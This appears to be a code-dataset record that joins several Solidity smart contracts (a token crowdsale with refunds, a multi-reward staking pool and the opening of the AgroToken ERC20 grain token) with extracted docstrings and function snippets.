* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) revert();
_;
}
modifier onlyInEmergency {
if (!halted) revert();
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Crowdsale is CrowdsaleLimit, Haltable {
using SafeMath for uint256;
CrowdsaleTokenInterface public token;
/* tokens will be transfered from this address */
address public multisigWallet;
/** How much ETH each address has invested to this crowdsale */
mapping (address => uint256) public investedAmountOf;
/** How much tokens this crowdsale has credited for each investor address */
mapping (address => uint256) public tokenAmountOf;
/* the number of tokens already sold through this contract*/
uint public tokensSold = 0;
/* How many distinct addresses have invested */
uint public investorCount = 0;
/* How much wei we have returned back to the contract after a failed crowdfund. */
uint public loadedRefund = 0;
/* Has this crowdsale been finalized */
bool public finalized;
enum State{Unknown, PreFunding, Funding, Success, Failure, Finalized, Refunding}
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
event createTeamTokenEvent(address addr, uint tokens);
event Finalized();
/** Modified allowing execution only if the crowdsale is currently running. */
modifier inState(State state) {
if(getState() != state) revert();
_;
}
function Crowdsale(address _token, address _multisigWallet, uint _start, uint _end) CrowdsaleLimit(_start, _end) public
{
require(_token != 0x0);
require(_multisigWallet != 0x0);
token = CrowdsaleTokenInterface(_token);
if(token_decimals != token.decimals()) revert();
multisigWallet = _multisigWallet;
}
/* Crowdfund state machine management. */
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (now < startsAt) return State.PreFunding;
else if (now <= endsAt && !isMinimumGoalReached()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && crowdsale_eth_fund > 0 && loadedRefund >= crowdsale_eth_fund) return State.Refunding;
else return State.Failure;
}
//add new team percentage of tokens and lock their release time
function addTeamAddress(address addr, uint release_time, uint token_percentage) onlyOwner inState(State.PreFunding) public {
super.addTeamAddressInternal(addr, release_time, token_percentage);
token.addLockAddress(addr, release_time); //not use delegatecall
}
//generate team tokens in accordance with percentage of total issue tokens, not preallocate
function createTeamTokenByPercentage() onlyOwner internal {
//uint total= token.totalSupply();
uint total= tokensSold;
//uint tokens= total.mul(100).div(100-team_token_percentage_total).sub(total);
uint tokens= total.mul(team_token_percentage_total).div(100-team_token_percentage_total);
for(uint i=0; i<team_address_count; i++) {
address addr= team_addresses_idx[i];
if(addr==0x0) continue;
uint ntoken= tokens.mul(team_addresses_token_percentage[addr]).div(team_token_percentage_total);
token.mint(addr, ntoken);
createTeamTokenEvent(addr, ntoken);
}
}
// fallback function can be used to buy tokens
function () stopInEmergency allowCrowdsaleAmountLimit payable public {
require(msg.sender != 0x0);
buyTokensCrowdsale(msg.sender);
}
// low level token purchase function
function buyTokensCrowdsale(address receiver) internal /*stopInEmergency allowCrowdsaleAmountLimit payable*/ {
uint256 weiAmount = msg.value;
uint256 tokenAmount= 0;
if(getState() == State.PreFunding) {
if (weiAmount < PRESALE_ETH_IN_WEI_ACCEPTED_MIN) revert();
if((PRESALE_ETH_IN_WEI_FUND_MAX > 0) && ((presale_eth_fund.add(weiAmount)) > PRESALE_ETH_IN_WEI_FUND_MAX)) revert();
tokenAmount = calculateTokenPresale(weiAmount, token_decimals);
presale_eth_fund = presale_eth_fund.add(weiAmount);
}
else if((getState() == State.Funding) || (getState() == State.Success)) {
if (weiAmount < CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN) revert();
tokenAmount = calculateTokenCrowsale(weiAmount, token_decimals);
} else {
// Unwanted state
revert();
}
if(tokenAmount == 0) {
revert();
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
// Update totals
crowdsale_eth_fund = crowdsale_eth_fund.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
token.mint(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) revert();
// Tell us invest was success
Invested(receiver, weiAmount, tokenAmount);
}
/**
* Allow load refunds back on the contract for the refunding.
*
* The team can transfer the funds back on the smart contract in the case the minimum goal was not reached..
*/
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) revert();
loadedRefund = loadedRefund.add(msg.value);
}
/**
* Investors can claim refund.
*
* Note that any refunds from proxy buyers should be handled separately,
* and not through this contract.
*/
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) revert();
investedAmountOf[msg.sender] = 0;
crowdsale_eth_refund = crowdsale_eth_refund.add(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) revert();
}
function setEndsAt(uint time) onlyOwner public {
if(now > time) {
revert();
}
endsAt = time;
EndsAtChanged(endsAt);
}
// should be called after crowdsale ends, to do
// some extra finalization work
function doFinalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
revert();
}
createTeamTokenByPercentage();
token.finishMinting();
finalized = true;
Finalized();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
fallback function can be used to buy tokens
|
function () stopInEmergency allowCrowdsaleAmountLimit payable public {
require(msg.sender != 0x0);
buyTokensCrowdsale(msg.sender);
}
| 5,424,306
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/*
* @title BARIS ATALAY
* @dev Set & change owner
*
* @IMPORTANT Reward tokens to be distributed to the stakers must be deposited into the contract.
*
*/
contract DynamicAssetStake is Context, Ownable{
event Stake(address indexed from, uint256 amount);
event UnStake(address indexed from, uint256 amount);
event YieldWithdraw(address indexed to);
struct PendingRewardResponse{ // Model of showing pending awards
bytes32 name; // Byte equivalent of the name of the pool token
uint256 amount; // TODO...
uint id; // Id of Reward
}
struct RewardDef{
address tokenAddress; // Contract Address of Reward token
uint256 rewardPerSecond; // Accepted reward per second
bytes32 name; // Byte equivalent of the name of the pool token
uint8 feeRate; // Fee Rate for Reward Harvest
uint id; // Id of Reward
}
struct PoolDef{
address tokenAddress; // Contract Address of Pool token
uint rewardCount; // Amount of the reward to be won from the pool
uint id; // Id of pool
bool active; // Pool active status
}
struct PoolDefExt{
uint256 expiryTime; // The pool remains active until the set time
uint256 createTime; // Pool creation time
bytes32 name; // Byte equivalent of the name of the pool token
}
struct PoolVariable{ // Only owner can edit
uint256 balanceFee; // Withdraw Fee for contract Owner;
uint256 lastRewardTimeStamp; // Last date reward was calculated
uint8 feeRate; // Fee Rate for UnStake
}
struct PoolRewardVariable{
uint256 accTokenPerShare; // Token share to be distributed to users
uint256 balance; // Pool Contract Token Balance
}
// Info of each user
struct UserDef{
address id; // Wallet Address of staker
uint256 stakingBalance; // Amount of current staking balance
uint256 startTime; // Staking start time
}
struct UserRewardInfo{
uint256 rewardBalance;
}
uint private stakeIDCounter;
//Pool ID => PoolDef
mapping(uint => PoolDef) public poolList;
//Pool ID => Underused Pool information
mapping(uint => PoolDefExt) public poolListExtras;
//Pool ID => Pool Variable info
mapping(uint => PoolVariable) public poolVariable;
//Pool ID => (RewardIndex => RewardDef)
mapping(uint => mapping(uint => RewardDef)) public poolRewardList;
//Pool ID => (RewardIndex => PoolRewardVariable)
mapping(uint => mapping(uint => PoolRewardVariable)) public poolRewardVariableInfo;
//Pool ID => (RewardIndex => Amount of distributed reward to staker)
mapping(uint => mapping(uint => uint)) public poolPaidOut;
//Pool ID => Amount of Stake from User
mapping(uint => uint) public poolTotalStake;
//Pool ID => (User ID => User Info)
mapping(uint => mapping(address => UserDef)) poolUserInfo;
//Pool ID => (User ID => (Reward Id => Reward Info))
mapping (uint => mapping(address => mapping(uint => UserRewardInfo))) poolUserRewardInfo;
using SafeMath for uint;
using SafeERC20 for IERC20;
constructor(){
stakeIDCounter = 0;
}
/// @notice Updates the deserved rewards in the pool
/// @param _stakeID Id of the stake pool
function UpdatePoolRewardShare(uint _stakeID) internal virtual {
uint256 lastTimeStamp = block.timestamp;
PoolVariable storage selectedPoolVariable = poolVariable[_stakeID];
if (lastTimeStamp <= selectedPoolVariable.lastRewardTimeStamp) {
lastTimeStamp = selectedPoolVariable.lastRewardTimeStamp;
}
if (poolTotalStake[_stakeID] == 0) {
selectedPoolVariable.lastRewardTimeStamp = block.timestamp;
return;
}
uint256 timeDiff = lastTimeStamp.sub(selectedPoolVariable.lastRewardTimeStamp);
//..:: Calculating the reward shares of the pool ::..
uint rewardCount = poolList[_stakeID].rewardCount;
for (uint i=0; i<rewardCount; i++) {
uint256 currentReward = timeDiff.mul(poolRewardList[_stakeID][i].rewardPerSecond);
poolRewardVariableInfo[_stakeID][i].accTokenPerShare = poolRewardVariableInfo[_stakeID][i].accTokenPerShare.add(currentReward.mul(1e36).div(poolTotalStake[_stakeID]));
}
//..:: Calculating the reward shares of the pool ::..
selectedPoolVariable.lastRewardTimeStamp = block.timestamp;
}
/// @notice Lists the rewards of the transacting user in the pool
/// @param _stakeID Id of the stake pool
/// @return Reward model list
function showPendingReward(uint _stakeID) public virtual view returns(PendingRewardResponse[] memory) {
UserDef memory user = poolUserInfo[_stakeID][_msgSender()];
uint256 lastTimeStamp = block.timestamp;
uint rewardCount = poolList[_stakeID].rewardCount;
PendingRewardResponse[] memory result = new PendingRewardResponse[](rewardCount);
for (uint RewardIndex=0; RewardIndex<rewardCount; RewardIndex++) {
uint _accTokenPerShare = poolRewardVariableInfo[_stakeID][RewardIndex].accTokenPerShare;
if (lastTimeStamp > poolVariable[_stakeID].lastRewardTimeStamp && poolTotalStake[_stakeID] != 0) {
uint256 timeDiff = lastTimeStamp.sub(poolVariable[_stakeID].lastRewardTimeStamp);
uint256 currentReward = timeDiff.mul(poolRewardList[_stakeID][RewardIndex].rewardPerSecond);
_accTokenPerShare = _accTokenPerShare.add(currentReward.mul(1e36).div(poolTotalStake[_stakeID]));
}
result[RewardIndex] = PendingRewardResponse({
id: RewardIndex,
name: poolRewardList[_stakeID][RewardIndex].name,
amount: user.stakingBalance
.mul(_accTokenPerShare)
.div(1e36)
.sub(poolUserRewardInfo[_stakeID][_msgSender()][RewardIndex].rewardBalance)
});
}
return result;
}
/// @notice Withdraw assets by pool id
/// @param _stakeID Id of the stake pool
/// @param _amount Amount of withdraw asset
function unStake(uint _stakeID, uint256 _amount) public {
require(_msgSender() != address(0), "Stake: Staker address not specified!");
//IERC20 selectedToken = getStakeContract(_stakeID);
UserDef storage user = poolUserInfo[_stakeID][_msgSender()];
require(user.stakingBalance > 0, "Stake: does not have staking balance");
// Amount leak control
if (_amount > user.stakingBalance) _amount = user.stakingBalance;
// "_amount" removed to Total staked value by Pool ID
if (_amount > 0)
poolTotalStake[_stakeID] = poolTotalStake[_stakeID].sub(_amount);
UpdatePoolRewardShare(_stakeID);
sendPendingReward(_stakeID, user, true);
uint256 unStakeFee;
if (poolVariable[_stakeID].feeRate > 0)
unStakeFee = _amount
.mul(poolVariable[_stakeID].feeRate)
.div(100);
// Calculated unStake amount after commission deducted
uint256 finalUnStakeAmount = _amount.sub(unStakeFee);
// ..:: Updated last user info ::..
user.startTime = block.timestamp;
user.stakingBalance = user.stakingBalance.sub(_amount);
// ..:: Updated last user info ::..
if (finalUnStakeAmount > 0)
getStakeContract(_stakeID).safeTransfer(_msgSender(), finalUnStakeAmount);
emit UnStake(_msgSender(), _amount);
}
/// @notice Structure that calculates rewards to be distributed for users
/// @param _stakeID Id of the stake pool
/// @param _user Staker info
/// @param _subtractFee If the value is true, the commission is subtracted when calculating the reward.
function sendPendingReward(uint _stakeID, UserDef memory _user, bool _subtractFee) private {
// ..:: Pending reward will be calculate and add to transferAmount, before transfer unStake amount ::..
uint rewardCount = poolList[_stakeID].rewardCount;
for (uint RewardIndex=0; RewardIndex<rewardCount; RewardIndex++) {
uint256 userRewardedBalance = poolUserRewardInfo[_stakeID][_msgSender()][RewardIndex].rewardBalance;
uint pendingAmount = _user.stakingBalance
.mul(poolRewardVariableInfo[_stakeID][RewardIndex].accTokenPerShare)
.div(1e36)
.sub(userRewardedBalance);
if (pendingAmount > 0) {
uint256 finalRewardAmount = pendingAmount;
if (_subtractFee){
uint256 pendingRewardFee;
if (poolRewardList[_stakeID][RewardIndex].feeRate > 0)
pendingRewardFee = pendingAmount
.mul(poolRewardList[_stakeID][RewardIndex].feeRate)
.div(100);
// Commission fees received are recorded for reporting
poolVariable[_stakeID].balanceFee = poolVariable[_stakeID].balanceFee.add(pendingRewardFee);
// Calculated reward after commission deducted
finalRewardAmount = pendingAmount.sub(pendingRewardFee);
}
//Reward distribution
getRewardTokenContract(_stakeID, RewardIndex).safeTransfer(_msgSender(), finalRewardAmount);
// Updating balance pending to be distributed from contract to users
poolRewardVariableInfo[_stakeID][RewardIndex].balance = poolRewardVariableInfo[_stakeID][RewardIndex].balance.sub(pendingAmount);
// The amount distributed to users is reported
poolPaidOut[_stakeID][RewardIndex] = poolPaidOut[_stakeID][RewardIndex].add(pendingAmount);
}
}
}
/// @notice Deposits assets by pool id
/// @param _stakeID Id of the stake pool
/// @param _amount Amount of deposit asset
function stake(uint _stakeID, uint256 _amount) public{
IERC20 selectedToken = getStakeContract(_stakeID);
require(selectedToken.allowance(_msgSender(), address(this)) > 0, "Stake: No balance allocated for Allowance!");
require(_amount > 0 && selectedToken.balanceOf(_msgSender()) >= _amount, "Stake: You cannot stake zero tokens");
UserDef storage user = poolUserInfo[_stakeID][_msgSender()];
// Amount leak control
if (_amount > selectedToken.balanceOf(_msgSender()))
_amount = selectedToken.balanceOf(_msgSender());
// Amount transfer to address(this)
selectedToken.safeTransferFrom(_msgSender(), address(this), _amount);
UpdatePoolRewardShare(_stakeID);
if (user.stakingBalance > 0)
sendPendingReward(_stakeID, user, false);
// "_amount" added to Total staked value by Pool ID
poolTotalStake[_stakeID] = poolTotalStake[_stakeID].add(_amount);
// "_amount" added to USER Total staked value by Pool ID
user.stakingBalance = user.stakingBalance.add(_amount);
// ..:: Calculating the rewards user pool deserve ::..
uint rewardCount = poolList[_stakeID].rewardCount;
for (uint i=0; i<rewardCount; i++) {
poolUserRewardInfo[_stakeID][_msgSender()][i].rewardBalance = user.stakingBalance.mul(poolRewardVariableInfo[_stakeID][i].accTokenPerShare).div(1e36);
}
// ..:: Calculating the rewards user pool deserve ::..
emit Stake(_msgSender(), _amount);
}
/// @notice Returns staked token balance by pool id
/// @param _stakeID Id of the stake pool
/// @param _account Address of the staker
/// @return Count of staked balance
function balanceOf(uint _stakeID, address _account) public view returns (uint256) {
return poolUserInfo[_stakeID][_account].stakingBalance;
}
/// @notice Returns Stake Poll Contract casted IERC20 interface by pool id
/// @param _stakeID Id of the stake pool
function getStakeContract(uint _stakeID) internal view returns(IERC20){
require(poolListExtras[_stakeID].name!="", "Stake: Selected contract is not valid");
require(poolList[_stakeID].active,"Stake: Selected contract is not active");
return IERC20(poolList[_stakeID].tokenAddress);
}
/// @notice Returns rewarded token address
/// @param _stakeID Id of the stake pool
/// @param _rewardID Id of the reward
/// @return Token contract
function getRewardTokenContract(uint _stakeID, uint _rewardID) internal view returns(IERC20){
return IERC20(poolRewardList[_stakeID][_rewardID].tokenAddress);
}
/// @notice Checks the address has a stake
/// @param _stakeID Id of the stake pool
/// @param _user Address of the staker
/// @return Value of stake status
function isStaking(uint _stakeID, address _user) view public returns(bool){
return poolUserInfo[_stakeID][_user].stakingBalance > 0;
}
/// @notice Returns stake asset list of active
function getPoolList() public view returns(PoolDef[] memory, PoolDefExt[] memory){
uint length = stakeIDCounter;
PoolDef[] memory result = new PoolDef[](length);
PoolDefExt[] memory resultExt = new PoolDefExt[](length);
for (uint i=0; i<length; i++) {
result[i] = poolList[i];
resultExt[i] = poolListExtras[i];
}
return (result, resultExt);
}
/// @notice Returns the pool's reward definition information
/// @param _stakeID Id of the stake pool
/// @return List of pool's reward definition
function getPoolRewardDefList(uint _stakeID) public view returns(RewardDef[] memory){
uint length = poolList[_stakeID].rewardCount;
RewardDef[] memory result = new RewardDef[](length);
for (uint i=0; i<length; i++) {
result[i] = poolRewardList[_stakeID][i];
}
return result;
}
/// @notice Returns the pool's reward definition information by pool id
/// @param _stakeID Id of the stake pool
/// @param _rewardID Id of the reward
/// @return pool's reward definition
function getPoolRewardDef(uint _stakeID, uint _rewardID) public view returns(RewardDef memory, PoolRewardVariable memory){
return (poolRewardList[_stakeID][_rewardID], poolRewardVariableInfo[_stakeID][_rewardID]);
}
/// @notice Returns stake pool
/// @param _stakeID Id of the stake pool
/// @return Definition of pool
function getPoolDefByID(uint _stakeID) public view returns(PoolDef memory){
require(poolListExtras[_stakeID].name!="", "Stake: Stake Asset is not valid");
return poolList[_stakeID];
}
/// @notice Adds new stake def to the pool
/// @param _poolAddress Address of the token pool
/// @param _poolName Name of the token pool
/// @param _rewards Rewards for the stakers
function addNewStakePool(address _poolAddress, bytes32 _poolName, RewardDef[] memory _rewards) onlyOwner public returns(uint){
require(_poolAddress != address(0), "Stake: New Staking Pool address not valid");
require(_poolName != "", "Stake: New Staking Pool name not valid");
uint length = _rewards.length;
for (uint i=0; i<length; i++) {
_rewards[i].id = i;
poolRewardList[stakeIDCounter][i] = _rewards[i];
}
poolList[stakeIDCounter] = PoolDef(_poolAddress, length, stakeIDCounter, false);
poolListExtras[stakeIDCounter] = PoolDefExt(block.timestamp, 0, _poolName);
poolVariable[stakeIDCounter] = PoolVariable(0, 0, 0);
stakeIDCounter++;
return stakeIDCounter.sub(1);
}
/// @notice Disables stake pool for user
/// @param _stakeID Id of the stake pool
function disableStakePool(uint _stakeID) public onlyOwner{
require(poolListExtras[_stakeID].name!="", "Stake: Contract is not valid");
require(poolList[_stakeID].active,"Stake: Contract is already disabled");
poolList[_stakeID].active = false;
}
/// @notice Enables stake pool for user
/// @param _stakeID Id of the stake pool
function enableStakePool(uint _stakeID) public onlyOwner{
require(poolListExtras[_stakeID].name!="", "Stake: Contract is not valid");
require(poolList[_stakeID].active==false,"Stake: Contract is already enabled");
poolList[_stakeID].active = true;
}
/// @notice Returns pool list count
/// @return Count of pool list
function getPoolCount() public view returns(uint){
return stakeIDCounter;
}
/// @notice The contract owner adds the reward she shared with the users here
/// @param _stakeID Id of the stake pool
/// @param _rewardID Id of the reward
/// @param _amount Amount of deposit to reward
function depositToRewardByPoolID(uint _stakeID, uint _rewardID, uint256 _amount) public onlyOwner returns(bool){
IERC20 selectedToken = getRewardTokenContract(_stakeID, _rewardID);
require(selectedToken.allowance(owner(), address(this)) > 0, "Stake: No balance allocated for Allowance!");
require(_amount > 0, "Stake: You cannot stake zero tokens");
require(address(this) != address(0), "Stake: Storage address did not set");
// Amount leak control
if (_amount > selectedToken.balanceOf(_msgSender()))
_amount = selectedToken.balanceOf(_msgSender());
// Amount transfer to address(this)
selectedToken.safeTransferFrom(_msgSender(), address(this), _amount);
poolRewardVariableInfo[_stakeID][_rewardID].balance = poolRewardVariableInfo[_stakeID][_rewardID].balance.add(_amount);
return true;
}
/// @notice The contract owner takes back the reward shared with the users here
/// @param _stakeID Id of the stake pool
/// @param _rewardID Id of the reward
/// @param _amount Amount of deposit to reward
function withdrawRewardByPoolID(uint _stakeID, uint _rewardID, uint256 _amount) public onlyOwner returns(bool){
poolRewardVariableInfo[_stakeID][_rewardID].balance = poolRewardVariableInfo[_stakeID][_rewardID].balance.sub(_amount);
IERC20 selectedToken = getRewardTokenContract(_stakeID, _rewardID);
selectedToken.safeTransfer(_msgSender(), _amount);
return true;
}
/// @notice ...
/// @param _stakeID Id of the stake pool
/// @param _rewardID Id of the reward
/// @param _rewardPerSecond New staking reward per second
function updateRewardPerSecond(uint _stakeID, uint _rewardID, uint256 _rewardPerSecond) public onlyOwner returns(bool){
RewardDef storage reward = poolRewardList[_stakeID][_rewardID];
require(reward.rewardPerSecond != _rewardPerSecond, "Reward per Second no change! Because it is same.");
reward.rewardPerSecond = _rewardPerSecond;
return true;
}
/// @return Returns number of reward to be distributed per second by pool id
function getRewardPerSecond(uint _stakeID, uint _rewardID) public view returns(uint256){
return poolRewardList[_stakeID][_rewardID].rewardPerSecond;
}
/// @notice ...
/// @param _stakeID Id of the stake pool
/// @param _rewardID Id of the reward
/// @param _feeRate New reward harvest fee
function updateRewardFeeRate(uint _stakeID, uint _rewardID, uint8 _feeRate) public onlyOwner returns(bool){
RewardDef storage reward = poolRewardList[_stakeID][_rewardID];
require(reward.feeRate != _feeRate, "FeeRate no change! Because it is same.");
reward.feeRate = _feeRate;
return true;
}
/// @notice ...
/// @param _stakeID Id of the stake pool
/// @param _feeRate New unStake fee
function updateUnStakeFeeRate(uint _stakeID, uint8 _feeRate) public onlyOwner returns(bool){
PoolVariable storage def = poolVariable[_stakeID];
require(def.feeRate != _feeRate, "UnStake FeeRate no change! Because it is same.");
def.feeRate = _feeRate;
return true;
}
/// @return Returns commission rate for Unstake transaction
function getUnStakeFeeRate(uint _stakeID)public view returns(uint8){
return poolVariable[_stakeID].feeRate;
}
/// @return Returns blockchain time
function getTime() public view returns(uint256){
return block.timestamp;
}
}
|
... _stakeID Id of the stake pool _rewardID Id of the reward _feeRate New reward harvest fee
|
function updateRewardFeeRate(uint _stakeID, uint _rewardID, uint8 _feeRate) public onlyOwner returns(bool){
RewardDef storage reward = poolRewardList[_stakeID][_rewardID];
require(reward.feeRate != _feeRate, "FeeRate no change! Because it is same.");
reward.feeRate = _feeRate;
return true;
}
| 13,084,414
|
/*
SPDX-License-Identifier: UNLICENSED
(c) Developed by AgroToken
This work is unlicensed.
*/
pragma solidity 0.7.5;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title AgroToken is token that refers to real grains
* AgroToken is a token admnistrated by AgroToken company
* (represented by admin Ethereum address variable in this Smart Contract).
* AgroToken performs all administrative
* functions based on grain documentations and certifications in partnership
* with agro traders (called Grain Oracles) and in complaince with local authorities.
* */
contract AgroToken is IERC20 {
using SafeMath for uint256;
//
// events
//
// mint/burn events
event Mint(address indexed _to, uint256 _amount, uint256 _newTotalSupply);
event Burn(address indexed _from, uint256 _amount, uint256 _newTotalSupply);
// admin events
event BlockLockSet(uint256 _value);
event NewAdmin(address _newAdmin);
event NewManager(address _newManager);
event GrainStockChanged(
uint256 indexed contractId,
string grainCategory,
string grainContractInfo,
uint256 amount,
uint8 status,
uint256 newTotalSupplyAmount
);
modifier onlyAdmin {
require(msg.sender == admin, "Only admin can perform this operation");
_;
}
modifier boardOrAdmin {
require(
msg.sender == board || msg.sender == admin,
"Only admin or board can perform this operation"
);
_;
}
modifier blockLock(address _sender) {
require(
!isLocked() || _sender == admin,
"Contract is locked except for the admin"
);
_;
}
struct Grain {
string category;
string contractInfo;
uint256 amount;
uint8 status;
}
uint256 override public totalSupply;
string public name;
uint8 public decimals;
string public symbol;
address public admin;
address public board;
uint256 public lockedUntilBlock;
uint256 public tokenizationFee;
uint256 public deTokenizationFee;
uint256 public transferFee;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
Grain[] public grains;
/**
* @dev Constructor
*/
constructor() {
name = "Agrotoken SOYA";
decimals = 4;
symbol = "SOYA";
lockedUntilBlock = 0;
admin = msg.sender;
board = 0xA01cD92f06f60b9fdcCCdF6280CE9A10803bA720;
totalSupply = 0;
balances[address(this)] = totalSupply;
}
/**
